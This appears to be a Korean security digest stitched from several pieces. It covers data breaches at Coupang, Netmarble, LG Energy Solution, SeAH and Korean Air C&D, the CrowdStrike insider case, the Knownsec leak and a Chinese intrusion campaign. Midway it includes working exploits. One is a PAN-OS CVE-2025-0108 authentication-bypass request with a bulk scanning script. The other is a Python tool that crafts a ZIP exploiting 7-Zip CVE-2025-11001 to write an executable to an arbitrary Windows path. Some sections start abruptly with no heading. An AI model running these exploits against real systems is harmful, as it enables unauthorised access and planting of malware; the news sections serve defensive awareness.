- 쿠팡, 넷마블 고객 개인정보 노출 사고 발생 - CrowdStrike, 해킹 그룹과 접촉해 내부 정보를 유출한 내부자 해고
내용
- 쿠팡, 고객 4500여명 개인정보 노출 사고 발생 > 18일 고객 개인정보가 비인가 조회된 것으로 확인 > 조회된 정보는 이름, 이메일 주소, 배송지 주소록(전화번호·주소), 최근 5건의 주문 정보 > 고객 결제와 관련한 정보에 대한 접근은 없었으며 보호되고 있음 > 과학기술정보통신부와 한국인터넷진흥원, 개인정보보호위원회에 신고 > 해당 활동을 탐지한 뒤 제3자가 사용했던 접근 경로 차단 > 지금까지 조회한 정보를 이용한 사례는 확인되지 않음
- 넷마블, 22일 해킹으로 인해 자사 PC 게임 사이트(www.netmarble\[.]net) 이용 고객과 일부 임직원 정보가 유출된 정황 확인 > 이름, 생년월일, 암호화된 비밀번호 정보 유출이 의심된다고 25일 밝힘 > 2015년 이전 가맹 PC방 사업주 정보와 일부 전현직 임직원 정보도 포함 > 주민등록번호와 같은 고유식별정보나 민감정보 유출은 없었으며, 비밀번호 등은 암호화된 상태로 해당 정보만으로는 악용 불가능할 것으로 판단 > 유출 가능성이 있는 게임은 바둑과 장기, 마구마구, 모두의마블(PC) 등 PC 온라인 게임 18종 > 유출 규모 등은 관계기관 조사가 나오면 즉시 투명하게 공개할 것 > 시스템 전반에 대한 확대 점검을 진행하는 등 필요한 보호 조치와 재발 방지 대책 수립 약속 > 게임 이용자들에게 비밀번호 변경 권고
- CrowdStrike, 최근 사내 정보를 외부 해킹조직에 넘긴 직원 한 명 해고 > 자사 내부 시스템 관련 정보를 외부로 유출한 ‘의심스러운 내부자’를 추적해 직원 한 명이 해킹그룹 ‘스캐터드 랩서스 헌터즈’(Scattered Lapsus$ Hunters)와 접촉한 사실 확인 및 해고 > 유출된 정보는 스크린샷 형태로 해킹 조직의 해커들의 텔레그램 공개 채널에 게시 > 사내·외 대시보드 화면과 옥타 싱글사인온 패널 등 주요 업무 시스템의 스크린샷 형태로 공개 > 이미지에는 업무용 리소스 링크를 비롯한 로그인 인터페이스 정보가 포함 ※ 스캐터드 랩서스 헌터즈(Scattered Lapsus$ Hunters) : 스캐터드 스파이더, 랩서스, 샤이니헌터스 등 해킹 조직의 연합
- 해커들, 공격 경로가 외부 벤더사인 Gainsight 플랫폼을 통해 이뤄졌다고 주장 > 크라우드스트라이크 자체 조사 결과 시스템 침입은 없었으며, 단순히 직원이 자신의 PC 화면을 캡처해 외부로 전달한 행위로 확인 > 해킹 조직 샤이니헌터스가 해당 직원에게 2만5000달러를 대가로 내부 네트워크 접근 권한을 요구한 정황도 포착
- 크라우드스트라이크 보안운영센터(SOC), 해당 의심 행위를 신속히 탐지해 즉시 대응에 나섰으며, 문제 직원은 곧바로 해고 > 시스템 손상이나 고객 영향은 전혀 없었고 고객 보호는 완벽히 유지됐다고 강조
- 해킹 조직들이 반복적으로 내부자 포섭 시도를 늘리고 있음 > 내부자 위협은 기술적 방어 조치만으로 막기 어렵고, 대규모 보안 기업조차 예외가 될 수 없음을 보여주는 사례로 평가 > 외부 공격자가 기업 내부자를 금전적으로 포섭하려는 시도는 앞으로 더욱 증가할 것으로 예상 > 행위 기반 모니터링, 비정상 인증 탐지, 최소 권한 원칙 적용을 기본 정책으로 강화하는 것이 중요
기타
- Scattered Lapsus$ Hunters > 최근 글로벌 기업들을 대상으로 세일즈포스 계정 탈취 및 보이스 피싱 공격을 주도해온 복합적 범죄 조직 > 올해 초부터 구글, 시스코, 알리안츠 생명, 아디다스, 워크데이 등 주요 기업의 세일즈포스 인스턴스를 침해한 것으로 알려짐 > Lapsus$, ShinyHunters, Scattered Spider 등 기존 난폭한 피싱·침입 조직의 연합 형태로 활동 > 최근에는 ShinySp1d3r라는 새로운 랜섬웨어 서비스(RaaS) 운영으로 공격 영역을 확장 > 세일즈포스 비밀 키를 탈취해 280곳 이상의 기업 인스턴스를 침해했다고 주장
- 해킹을 통해 국내 기업의 내부 자료를 탈취 및 유포를 주장하는 공격 조직 증가 - 공격자가 데이터 샘플을 공개하기 시작 전 침해 여부와 범위를 파악하는 것이 중요
내용
- 랜섬웨어 조직 Akira, 다크웹을 통해 LG에너지솔루션 공격 및 데이터 공개 협박 > Akira, LG에너지솔루션 미국공장에서 확보한 방대한 데이터를 공개하겠다고 협박 > 약 1.67TB 규모의 기업 문서와 46GB SQL 데이터베이스가 곧 업로드될 것이라고 주장 > 해당 문서에는 임직원 개인정보부터 기밀 프로젝트, 계약서, 재무 자료 등 기업의 핵심 자산이 대거 포함된 것으로 주장
> 유출된 자료에 미국·한국 여권, 비자, 의료 문서, 주민등록증 이미지, 직원 주소·연락처·이메일, R&D 프로젝트 문서, 비밀유지계약(NDA), 고객 및 파트너사 자료, 재무 문서, 각종 계약서 등이 포함 > 특히 SQL DB까지 확보했다는 점은 단순 문서 파일이 아니라 운영 시스템 내부까지 완전히 접근했다는 것
> 복수의 핵심 시스템이 동시에 침해됐을 가능성이 있음 > 실제 유출이 사실일 경우 기술 스파이 활동이나 해외 경쟁사로의 정보 흘림 등 산업 안보 측면에서 대형 사고로 이어질 가능성 존재
> 언급한 정보 중에는 특히 여권·비자·의료 정보 등 고위험 개인정보가 포함돼 있어 임직원 피해도 심각하게 우려
> 이번 사건의 파급력은 기술 유출을 넘어 글로벌 공급망 전반의 보안 리스크로 이어질 수 있음 > LG에너지솔루션은 테슬라·GM·현대차 등 세계 주요 완성차 업체와 협력 > 유출된 계약 문서나 고객 정보가 악용될 경우 협력사 대상 스피어피싱, 계약서 위조, 계정 탈취 등 2차 공격 위험
> 배터리·철강·반도체 장비 등 한국 제조 대기업은 제조 공정 특성상 계정 관리가 복잡하고, 협력사 계정 노출이 잦아 랜섬웨어에 취약 > 제조업은 IT와 OT 환경이 밀접하게 연결돼 공격자에게 큰 이득을 제공하는 구조로 단순 금전 목적이 아닌 기술 정보 확보를 노린 복합 공격도 배제할 수 없음
> 향후 조치는 단순 내부 보안 강화 수준을 넘어 국가 차원의 산업기술 보호 체계 가동이 필요하다는 목소리 > 전사 로그 분석, AD 계정 권한 검증, 백업 시스템 무결성 점검, 협력사 계정 이력 조사 등이 시급 > R&D 기술 문서 유출이 확인되면 산업부와 국가정보원 국가핵심기술 보호부서와의 공조가 필수적
> 실제 침해가 발생했는지 여부와 자료 유출의 범위는 아직 확인되지 않음 > 아키라가 올린 데이터 목록과 공격 패턴을 고려할 때 향후 사태가 상당한 파장을 일으킬 수 있다는 우려 ================================================================================== - 세아베스틸지주가 협력업체 해킹을 통해 내부 소스코드와 인증정보가 외부 유출 의혹 제기 > “SeAH Holdings Data Breach”라는 제목으로 올라왔으며, 게시자는 자신이 최근 수행한 계약업체 해킹을 통해 세아홀딩스의 일부 내부 데이터 탈취 주장 > 게시물에는 세아홀딩스 로고와 함께 구체적인 데이터 목록, 샘플 파일 다운로드 링크 등이 포함 > 세아홀딩스 측에 확인 결과, '세아홀딩스' 홈페이지는 '세아베스틸지주'와 분리된 서버로 별도 관리되고 있으며, 현재 해킹 시도 흔적은 확인되지 않았다고 전함
■ 해커 “소스코드·구성 파일·API 키·하드코딩된 인증정보 확보” 주장 > 세아베스틸지주에서 소스코드, 구성 파일, 액세스 키, API Keys, 하드코딩된 인증정보 등의 민감 데이터 유출 주장 > 직접 세아베스틸지주를 공격한 것이 아니라 협력 중인 계약업체의 시스템을 해킹해 내부 정보가 연쇄적으로 유출된 ‘공급망 공격’ 형태라고 주장
> 종합하면, 해킹을 당한 서버는 세아베스틸지주의 서버가 아닌 홈페이지를 개발했던 업체의 테스트 환경인 '개발 서버'가 해킹을 당한 것으로 확인 > 통상적으로 홈페이지 개발 시 '개발 서버'를 구성한 이후 해당 코드를 실제 '운영 서버'에 반영하는 방식으로 진행 > 이번 문제가 된 서버는 홈페이지 개발 업체의 서버로 현재 '세아베스틸지주'가 운영하는 서버는 아님 > 현재 세아베스틸지주 '운영 서버'로는 해킹 시도는 없었던 것으로 확인
> 홈페이지 개발 업체에서는 해킹 발생 직후 '개발 서버'를 폐쇄하고 한국인터넷진흥원에 즉시 신고를 진행하고 엑세스 토큰 변경 등의 조치 진행 완료 > 또 서버의 잠재 리스크를 방지하고 보안을 강화하는 차원에서 '세아베스틸지주'는 홈페이지 소스 코드 취약점 재검토/변경 진행 및 보안 진단을 강화해 관리
■ 샘플 파일까지 공개돼 위험성 커 > 이번 사고에서는 888명의 정보가 침해된 것으로 추정되며, 해커는 이를 뒷받침하기 위한 목적으로 일부 파일을 샘플 형태로 게시 > 샘플까지 공개된 상황은 해당 데이터가 실제로 유출되었을 가능성이 매우 높다는 의미
■ 해커는 다크포럼 ‘GOD’ 등급…최근 여러 기업 유출 게시글 올려 > 해당 계정은 다크포럼 내에서 ‘GOD’ 등급을 보유하고 있으며, 게시물 66개, 쓰레드 52개, 가입일 2025년 6월, 평판 411 등 활발한 활동을 이어오고 높은 평판을 받고 있는 것으로 확인 > 최근 몇 달 동안 다수 기업의 데이터 유출 게시물을 올린 바 있어, 이번 사례 역시 연속된 공격의 일환으로 분석
■ “협력사 보안 취약 시 대기업도 공격에 무방비” > 이번 사고가 협력업체 보안이 대기업 전체의 보안 체계를 무너뜨릴 수 있다는 공급망 위협의 전형적인 사례라고 지적 > 이어 다음과 같은 긴급 조치를 조언 - 즉각적인 API 키·액세스 키 폐기 및 재발급 - 소스코드 저장소 접근 권한 전면 재점검 - 협력업체 보안 수준 평가 및 모니터링 강화 - 침해지표(IOCs)에 기반한 전사적 탐지 활동 수행
> 또한 코드 기반 시스템을 운영하는 기업의 경우, 협력업체와의 연결 지점이 가장 위험한 취약 지점이 될 수 있음 ================================================================================== - Cl0p이 운영하는 다크웹 유출 사이트에 대한항공 기내식 공급업체 대한항공씨앤드서비스가 새로운 피해 기업으로 등록
■ 클롭 유출 사이트, “KOREANAIRCND.COM – PAGE CREATED” 문구만 공개 > 다크웹 클롭 유출 페이지에서는 ‘KOREANAIRCND.COM – PAGE CREATED, YOU SOME TIME TO RESPOND AND CONTACT US’라는 문구가 게재 > 이는 클롭이 피해 기업 전용 페이지를 생성한 뒤 협상을 압박하기 위해 사용하는 전형적인 첫 단계 > 현재 페이지에는 데이터 샘플, 파일 목록, 스크린샷, 유출 용량, 요구 조건 등 어떤 정보도 공개되지 않은 상태 > 침해 사실 여부는 클롭 측 주장일 뿐, 구체적 피해 범위는 아직 확인되지 않은 상황 > 다크웹 모니터링 사이트에서도 동일하게 “피해자명·도메인·그룹명”만 자동 수집돼 있으며, 탈취 데이터나 몸값 관련 정보는 전혀 제공되지 않음
■ 현재까지는 “협상 압박용 초기 페이지”…데이터 공개 단계로 넘어갈지 주목 > 클롭은 과거에도 피해 기업의 이름만 먼저 공개한 뒤, 협상 진행, 연락 지연, 단가 협상 실패 등의 상황이 벌어지면 순차적으로 샘플 데이터→전체 데이터를 공개하는 방식으로 압박 > 전문가들은 이번 대한항공씨앤드서비스를 공개한 것도 “협상 유도 단계의 티저(Teaser) 페이지”로 판단
■ 클롭이 실제로 무엇을 탈취했는지는 아직 확인 불가 > 현재 다크웹 페이지에는 어떤 종류의 데이터가 탈취됐는지 어떠한 단서도 존재하지 않음 > 또한 대한항공씨앤드서비스 및 대한항공 측에서도 현재까지 별도의 공식 입장을 내지 않은 상태 > 항공사와 정기적 문서 교환 및 납품 과정에서 대량 데이터 생성 등 공급망 침해를 통한 항공사 2차 피해 가능성이 있음
■ 보안전문가 “지금은 초기 단계…해당 기업은 철저한 내부 시스템 이상징후 조사 필요” > 현재 상황을 “클롭이 페이지를 만들었다는 것은 최소한 기업의 네트워크나 시스템 일부에 접근했을 가능성 > 지금은 데이터 공개 이전의 초기 압박 단계로 보이며, 기업이 조용히 대응하거나 협상 중일 가능성도 있을 것
> 또한 실제 대응을 위해서는 다음과 같은 절차가 필요하다고 조언 - 최근 2주~1개월간 시스템 접근 로그, 외부 전송 기록 점검 - 파일 서버·ERP·클라우드 접근 권한 모니터링 - 계정 탈취(인포스틸러 감염) 여부 확인 - 백업 시스템 무결성 검증 - 항공사 연계 시스템 긴급 점검 - 다크웹 추가 게시물 지속 모니터링
> 전문가들은 특히 “공격자가 데이터 샘플을 공개하기 시작하면 피해 범위가 한눈에 드러나기 때문에, 그 전 단계에서 침해 여부와 범위를 파악하는 것이 무엇보다 중요하다”고 강조
> 현재까지 데이터 탈취 정황이나 피해 규모는 확인되지 않음 > 다만 클롭의 공격 패턴과 공급망 타깃 전략을 고려하면 이번 사건은 향후 추가 정보 공개 여부에 따라 이슈로 확대될 가능성이 큼
기타
- Akira > 최근 2년간 한국 제조업을 집중적으로 공격 > VPN 계정 탈취, 협력사 계정 도용, 백업 시스템 파괴 등 전형적인 침투 패턴을 보임 > 내부망 진입 후에는 액티브 디렉토리를 장악하고 문서 서버·백업 서버를 암호화하며, 협상 결렬 시 유출 사이트에 데이터를 전면 공개 > 최근 한국 제조·중공업 분야에서만 최소 수십여 건 이상의 공격을 시도해 왔으며, 다수의 기업을 유출 협박 > 협상에 응하지 않는 기업을 상대로 대규모 유출을 실행해 왔으며, 이 과정에서 수십 테라바이트 단위의 R&D 문서가 해외로 흘러들어간 사례 존재
- 소스코드와 API 키, 액세스 키 등은 기업 내부 시스템과 클라우드 자원에 직접 접근할 수 있는 핵심 정보 > 특히 인증정보가 외부에 노출될 경우 다음과 같은 심각한 후속 공격이 발생할 수 있음
- 클롭의 다른 사례를 보면, 실제 공개 전 다음과 같은 패턴이 빈번하게 나탐 > 피해 기업 이름만 먼저 공개->연락이 없으면 직원정보·계약서 등 일부 샘플 공개->최종 협상 결렬 시 수십GB~수TB 단위 전체 데이터 업로드->심각할 경우, 고객·거래처·언론·감독기관에 직접 이메일 발송
- Nginx → Apache → PHP로 이어지는 인증 처리 과정에서 발생하는 Path Confusion 문제를 악용한 인증 우회 취약점
영향받는 버전 PAN-OS - 11.2.0 이상 ~ 11.2.4-h4 미만 - 11.1.0 이상 ~ 11.1.6-h1 미만 - 11.1.2 이상 ~ 11.1.2-h18 미만 - 10.2.7 이상 ~ 10.2.7-h24 미만 - 10.2.8 이상 ~ 10.2.8-h21 미만 - 10.2.9 이상 ~ 10.2.9-h21 미만 - 10.2.10 이상 ~ 10.2.10-h14 미만 - 10.2.11 이상 ~ 10.2.11-h12 미만 - 10.2.12 이상 ~ 10.2.12-h6 미만 - 10.2.13 이상 ~ 10.2.13-h3 미만 - 10.1.0 이상 ~ 10.1.14-h9 미만
2.주요내용
- PAN-OS의 관리 인터페이스는 다음과 같은 방식으로 웹 요청을 처리 [2]
1. Nginx 단계
- 클라이언트의 요청을 수신하여 인증이 필요한지 여부 결정
> 특정 경로(/unauth/)가 포함된 경우 인증이 필요 없는 것으로 처리하며, X-pan-AuthCheck 헤더를 off로 설정
if ($uri ~ ^\/unauth\/.+$) {
set $panAuthCheck 'off';
}
if ($uri = /php/logout.php) {
set $panAuthCheck 'off';
}
# ...
2. Apache 단계
- 전달된 요청을 다시 처리하고, mod_rewrite를 통해 특정 경로를 재작성
> 경로를 해석하고 내부 리디렉션을 수행하는 과정에서 URL을 한 번 더 디코딩
<Location "/">
# Turns off DirectorySlash as it uses input host in redirect thus a vulnerability.
# Have not found a way to fix that.
DirectorySlash off
RewriteEngine on
RewriteRule ^(.*)(\/PAN_help\/)(.*)\.(css|js|html|htm)$ $1$2$3.$4.gz [QSA,L]
AddEncoding gzip .gz
Options Indexes FollowSymLinks
Require all granted
</Location>
- Apache는 RewriteRule을 처리할 때 내부 리디렉션을 수행하는데, 이 과정에서 URL이 다시 한 번 디코딩
> 이중 디코딩 문제를 활용해 공격자는 인증 우회를 시도할 수 있음
- 공격자는 다음과 같은 요청을 통해 인증을 우회할 수 있음
GET /unauth/%252e%252e/php/ztp_gate.php/PAN_help/x.css HTTP/1.1
Host: my.testing.environment
Connection: close
①Nginx 단계
⒜ %252e%252e는 첫 번째 URL 디코딩에서 %2e%2e로 변환
⒝ URL에 "/unauth/" 경로가 포함되어 있어 X-pan-AuthCheck: off가 설정
⒞ 전체 URL "/unauth/%252e%252e/php/ztp_gate.php/PAN_help/x.css"을 Apache로 전달
② Apache 단계
⒜%252e%252e는디코딩되어 %2e%2e로 변환
⒝ RewriteRule과 일치하므로URL 재작성 되고, %2e%2e가 다시 디코딩
⒞ URL /php/ztp_gate.php/PAN_help/x.css.gz를mod_php를 통해 PHP에 전달
③ PHP 단계
⒜ /php/ztp_gate.php로 전달된 요청이 X-pan-AuthCheck: off 상태이므로 인증 없이 실행
[사진 2] 취약점 실행 단계
3. PoC
- /unauth/%252e%252e/php/ztp_gate.php/PAN_help/x.css URL로 GET 요청 전송 [3]
import requests
import argparse
from urllib.parse import urljoin
import ssl
import logging
# Disable SSL warnings
ssl._create_default_https_context = ssl._create_unverified_context
requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning)
# Logging
logging.basicConfig(level=logging.INFO, format='%(asctime)s - %(message)s', handlers=[
logging.StreamHandler(),
logging.FileHandler("scan_results.log")
])
def read_file(file_path):
"""Read URLs from a file and return them as a list."""
try:
with open(file_path, 'r') as file:
return file.read().splitlines()
except Exception as e:
logging.error(f"Error reading file {file_path}: {e}")
return []
def check_vulnerability(url):
"""
Check if the given URL is vulnerable to CVE-2025-0108.
A vulnerable site should return 'Zero Touch Provisioning' in the response.
"""
protocols = ['http://', 'https://']
target_path = "/unauth/%252e%252e/php/ztp_gate.php/PAN_help/x.css"
for protocol in protocols:
target_url = urljoin(protocol + url.lstrip('http://').lstrip('https://'), target_path)
headers = {
"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_3) Gecko/20100101 Firefox/72.0"
}
try:
response = requests.get(target_url, verify=False, headers=headers, timeout=10)
if response.status_code == 200 and 'Zero Touch Provisioning' in response.text:
message = f"Vulnerable: {url} - CVE-2025-0108 Vulnerability (Authentication Bypass)!"
logging.info(message)
return True
else:
logging.debug(f"Not vulnerable: {url} - Response code: {response.status_code}")
except requests.exceptions.RequestException as e:
logging.warning(f"Error connecting to {url}: {e}")
return False
if __name__ == "__main__":
parser = argparse.ArgumentParser(description="Check for CVE-2025-0108 vulnerability (Authentication Bypass).")
parser.add_argument("-u", "--url", help="Single URL to check")
parser.add_argument("-f", "--file", help="File containing a list of URLs to check")
args = parser.parse_args()
url = args.url
file = args.file
if url:
check_vulnerability(url)
elif file:
urls = read_file(file)
if urls:
for u in urls:
check_vulnerability(u)
else:
logging.error("No URLs found in the file.")
else:
logging.error("Please provide a URL or a file containing URLs to check.")
logging.info("Usage: python CVE_2025_0108_V1.py -u <URL> or python CVE_2025_0108_V1.py -f <file_with_urls>")
# About
logging.info("\nAuthor: Sohaib E.B. - sohaib.eu")
4. 대응방안
- 벤더사 제공 업데이트 적용 [4][5][6]
취약점
제품명
영향받는 버전
해결 버전
CVE-2025-0108
PAN-OS
11.2.0 이상 ~ 11.2.4-h4 미만
11.2.4-h4 이상
11.1.0 이상 ~ 11.1.6-h1 미만 11.1.2 이상 ~ 11.1.2-h18 미만
11.1.6-h1 이상 11.1.2-h18 이상
10.2.7 이상 ~ 10.2.7-h24 미만 10.2.8 이상 ~ 10.2.8-h21 미만 10.2.9 이상 ~ 10.2.9-h21 미만 10.2.10 이상 ~ 10.2.10-h14 미만 10.2.11 이상 ~ 10.2.11-h12 미만 10.2.12 이상 ~ 10.2.12-h6 미만 10.2.13 이상 ~ 10.2.13-h3 미만
10.2.7-h24 이상 10.2.8-h21 이상 10.2.9-h21 이상 10.2.10-h14 이상 10.2.11-h12 이상 10.2.12-h6 이상 10.2.13-h3 이상
- SetFromLinkPath는 지정된 경로로 심볼릭 링크를 생성하는 함수이며, 절대 경로로의 링크를 생성하지 못하도록 하도록 검사 과정이 존재
> 7-Zip은 새로 추출된 zip 파일 내부에서 링크가 가리키는 상대 목적지 경로를 생성한 후 IsSafePath로 검증
> 상대 링크의 경우 심볼릭링크가 위치한 zip 내부 디렉터리 경로를 링크 경로 앞에 덧붙여 검사
if (linkInfo.isRelative)
relatPath = GetDirPrefixOf(_item.Path);
relatPath += linkInfo.linkPath;
if (!IsSafePath(relatPath))
{
return SendMessageError2(
0, // errorCode
"Dangerous link path was ignored",
us2fs(_item.Path),
us2fs(linkInfo.linkPath)); // us2fs(relatPath)
}
Second issue
- First issue에서 볼 수 있듯이 링크가 상대 링크로 평가되어 "isRelative == true" 로 설정
> 심볼릭링크가 zip 파일의 루트 디렉터리가 아닌 다른 디렉터리에 있는 경우, 해당 경로가 링크 앞에 더해져 검사를 우회할 수 있음
> 검사는 isSafePath ("some/directory/in/zip" + "C:\some\other\path") 처럼 수행되며, 이 경우 true로 평가
Third issue
- 심볼릭 링크를 생성하기 전에 링크 경로의 유효성을 검사하는 검사가 존재
> 하지만, 검사 이전에 주어진 "if (_item.IsDir)" (‘item(심볼릭링크)’이 디렉터리인지 여부를 확인) 구문이 먼저 존재
> 이때, item은 디렉터리가 아니므로 유효성 검사를 우회할 수 있음
if (!_ntOptions.SymLinks_AllowDangerous.Val)
{
#ifdef _WIN32
if (_item.IsDir) // NOPE
#endif
if (linkInfo.isRelative)
{
CLinkLevelsInfo levelsInfo;
levelsInfo.Parse(linkInfo.linkPath);
if (levelsInfo.FinalLevel < 1 || levelsInfo.IsAbsolute)
{
return SendMessageError2(
0, // errorCode
"Dangerous symbolic link path was ignored",
us2fs(_item.Path),
us2fs(linkInfo.linkPath));
}
}
}
- 위 과정을 모두 거치면 심볼릭링크가 생성
// existPath -> C:\some\other\path (symlink destination)
// data -> path for symlink to be created
// Initializes reparse data for symlink creation
if (!FillLinkData(data, fs2us(existPath), !linkInfo.isJunction, linkInfo.isWSL))
return SendMessageError("Cannot fill link data", us2fs(_item.Path));
/// ...
// creates symlink
if (!NFile::NIO::SetReparseData(fullProcessedPath, _item.IsDir, data, (DWORD)data.Size()))
{
RINOK(SendMessageError_with_LastError(kCantCreateSymLink, fullProcessedPath))
return S_OK;
}
- 아래와 같은 디렉터리 구조를 만들어 압축하여 악용가능
> link(심볼릭링크)가 먼저 풀려 생성되고, calc.exe가 symlink가 가리키는 실제 위치(Ex.C:\Users\YOURUSERNAME\Desktop)로 풀려 쓰여짐
> 7-Zip이 심볼릭링크를 따라가서 바이너리를 임의의 위치에 쓰게 되는 것
data/link -> (symlink) C:\Users\YOURUSERNAME\Desktop (또는 원하는 다른 위치) data/link -> (Directory) data/link/calc.exe -> (추출 시 대상 디렉터리에 쓰고자 하는 파일)
3. PoC
- PoC 동작 과정 [4]
① add_dir : ZIP 내부에 'data/' 디렉터리 생성 ② add_symlink : 특정 경로를 가리키는 심볼릭 링크 data/link_in 생성 > 링크 대상은 "C:\Users\pac\Desktop" 같은 Windows 절대 경로 ③ add_file_from_disk : 추출 시 대상 디렉터리에 쓰고자 하는 파일을 ZIP 파일에 추가 > 압축 해제 시 7-Zip은 link_in이 가리키는 링크를 따라 해당 경로에 기록
import argparse
import os
import time
import zipfile
def add_dir(z, arcname):
if not arcname.endswith('/'):
arcname += '/'
zi = zipfile.ZipInfo(arcname)
zi.date_time = time.localtime(time.time())[:6]
zi.create_system = 3
zi.external_attr = (0o040755 << 16) | 0x10
zi.compress_type = zipfile.ZIP_STORED
z.writestr(zi, b'')
def add_symlink(z, arcname, target):
zi = zipfile.ZipInfo(arcname)
zi.date_time = time.localtime(time.time())[:6]
zi.create_system = 3
zi.external_attr = (0o120777 << 16)
zi.compress_type = zipfile.ZIP_STORED
z.writestr(zi, target.encode('utf-8'))
def add_file_from_disk(z, arcname, src_path):
with open(src_path, 'rb') as f:
payload = f.read()
zi = zipfile.ZipInfo(arcname)
zi.date_time = time.localtime(time.time())[:6]
zi.create_system = 3
zi.external_attr = (0o100644 << 16)
zi.compress_type = zipfile.ZIP_STORED
z.writestr(zi, payload)
def main():
parser = argparse.ArgumentParser(
description="Crafts a zip that exploits CVE-2025-11001."
)
parser.add_argument(
"--zip-out", "-o",
required=True,
help="Path to the output ZIP file."
)
parser.add_argument(
"--symlink-target", "-t",
required=True,
help="Destination path the symlink points to - specify a \"C:\" path"
)
parser.add_argument(
"--data-file", "-f",
required=True,
help="Path to the local file to embed e.g an executable or bat script."
)
parser.add_argument(
"--dir-name",
default="data",
help="Top-level directory name inside the ZIP (default: data)."
)
parser.add_argument(
"--link-name",
default="link_in",
help="Symlink entry name under the top directory (default: link_in)."
)
args = parser.parse_args()
top_dir = args.dir_name.rstrip("/")
link_entry = f"{top_dir}/{args.link_name}"
embedded_name = os.path.basename(args.data_file)
file_entry = f"{link_entry}/{embedded_name}"
with zipfile.ZipFile(args.zip_out, "w") as z:
add_dir(z, top_dir)
add_symlink(z, link_entry, args.symlink_target)
add_file_from_disk(z, file_entry, args.data_file)
print(f"Wrote {args.zip_out}")
if __name__ == "__main__":
main()
- 중국 사이버 보안기업에서 대규모 정보유출 사고 발생 - 중국 정부와 연계하여 사이버공격을 수행한 것이 확인
내용
- 중국 사이버 보안기업 지오다오창위(知道创宇, Knownsec)이 대규모 정보유출 사고를 당함 > 지오다오창위는 클라우드 기반 보안 모니터링과 공격면 분석, 위협 탐지 솔루션을 제공하는 기업 > 중국 정부와 연계 하에 수행된 것으로 추정되는 해외 해킹 작전의 내부 문서와 사이버 무기, 표적 데이터가 외부로 노출
■ 1만2천건 기밀 문서 유출…“국가 주도형 사이버 작전 실체 드러나” - 25.11.02 익명의 해커가 유출 자료를 일부 공개하면서 사건이 알려짐 > 약 12,000건 이상의 내부 기밀 문서와 소스 코드가 외부로 빠져나간 것으로 추정 > 문서에는 중국이 자체 개발한 사이버 무기 기술 사양, 정부기관과의 협력 내용, 내부 공격용 도구의 소스코드, 글로벌 감시 대상 목록 등이 포함된 것으로 알려짐 > 유출 자료 중 일부는 GitHub에 게시됐다가 삭제됐으며, 이후 다크웹과 보안 커뮤니티를 통해 빠르게 확산 > 연구자들이 확보한 파일에는 공격 절차 문서, 외부 표적의 상세 데이터, 침투용 하드웨어 설계서 등이 포함
■ 인도·한국·대만 등 20여 개국 표적…중국 보안기업간 정보공유 - 공개된 자료에 따르면 중국은 아시아를 비롯해 전 세계 20여 개국의 기관과 기업을 장기간 감시 > 인도: 이민 관련 데이터 95GB 탈취 > 한국: 통신사 통화 기록 3TB 유출 정황(샘플 확인결과 실제 존재하는지는 확인 불가) > 대만: 도로 및 교통계획 데이터 459GB 확보 > 이외에도 일본, 베트남, 나이지리아, 영국 등 각국의 공공기관이 표적에 포함 > 한국 통신사의 대규모 통화 기록 유출이 언급된 부분은 확인결과, 샘플 파일은 존재하지 않는 것으로 확인 > 지난해 3월 중국 보안업체 아이순(i- Soon, 安洵科技)이 해킹을 통해 확보한 것으로 추정되는 한국 통신사와 정부기관 관련 자료도 실체는 확인 할 수 없음
- 중국 내 보안업체들 간에 이러한 해킹 정보가 상호 공유·활용된 정황이 드러난 것으로 분석 > 전문가들은 중국 내 민·관 보안기업들이 사실상 국가 사이버 작전의 분업 체계로 연결되어 있을 가능성이 높다고 지적
■ 방어기업 내부에서 드러난 ‘공격 체계’ - 유출된 문서에는 공격용 툴 체인(Offensive Toolchain)과 지속적 침투 전략이 포함 > 공격 절차서는 ‘표적 스캐닝 → 초기 침입 → 권한 상승 → 지속적 접속 유지’ 순으로 구성 > 국가기관과 공동 수행한 작전 보고서 형식의 자료도 발견 ※ 지오다오창위가 단순한 민간 보안기업을 넘어, 중국의 사이버 정보수집 활동을 실질적으로 지원해온 기술적 허브 역할을 수행했을 가능성을 제기
■ 중국 정부 “모른다”…국제사회는 강력 반발 - 중국 외교부는 이번 사건과 관련해 “사실 관계를 알지 못한다”고 언급하며 공식적인 연루 부인 > 미국과 유럽 보안기관 관계자들은 “민간 보안기업이 국가 차원의 정보 수집망으로 활용되고 있다는 점에서 이번 사건은 매우 심각한 윤리적 문제를 드러낸다”고 지적 > 보안 연구자들이 공개한 일부 자료에서는 대규모 자동화 수집 및 감시 시스템이 구축되어 있었다는 정황이 확인 > 시스템은 소셜미디어, 공공데이터, 민간 클라우드 인프라 등에서 데이터를 수집해 정제·분류하는 기능을 갖췄으며, 특정 국가와 기관별 우선순위를 설정해 표적화된 감시를 수행한 것으로 분석 > 또한 하드웨어 침투 장비 설계 문서에는 외부 전원형 악성 장치, 데이터 탈취용 네트워크 인터페이스 기기 등의 구조와 작동 방식이 포함 > 단순 원격 공격을 넘어 현장 물리적 침투를 병행한 복합적 작전 체계가 존재했음을 시사
기타
- 이번 유출은 단순한 기업 해킹이 아니라, 중국 정부의 지원을 받은 사이버 작전의 내부 체계를 보여주는 주요 사건 > 현재까지 이 자료의 진위 여부는 완전히 검증되지 않았지만, 보안업계는 국가 주도의 장기적 정보 수집 활동 가능성을 배제하지 않음
- 중국 연계 해킹 조직이 미국의 비영리기관 네트워크를 장기간 잠입해 감시 활동 수행 - 이미 알려진 취약점과 잘못 구성된 서버를 이용해 지속 접근 권환 확보
내용
- 중국 연계 해킹 조직 > 미국의 한 비영리기관 네트워크를 장기간 잠입해 감시 활동을 수행한 정황 확인 (25.04 수주 동안 네트워크 접근을 유지) > 이미 알려진 취약점과 잘못 구성된 서버를 이용해 지속적 접근권을 확보
- 잘 알려진 취약점을 이용해 대규모 스캔을 수행 ① Atlassian OGNL 인젝션 (CVE-2022-26134) ② Log4j (CVE-2021-44228) ③ Apache Struts (CVE-2017-9805) ④ GoAhead 웹서버(CVE-2017-17562)
- 실제 침투는 Brute-Force나 Credential Stuffing 공격을 통해 이뤄진 것으로 추정 - 이후 해커들은 curl 명령어로 인터넷 연결 테스트, netstat로 네트워크 설정을 수집한 뒤, 윈도우 예약 작업을 통해 지속성 확보
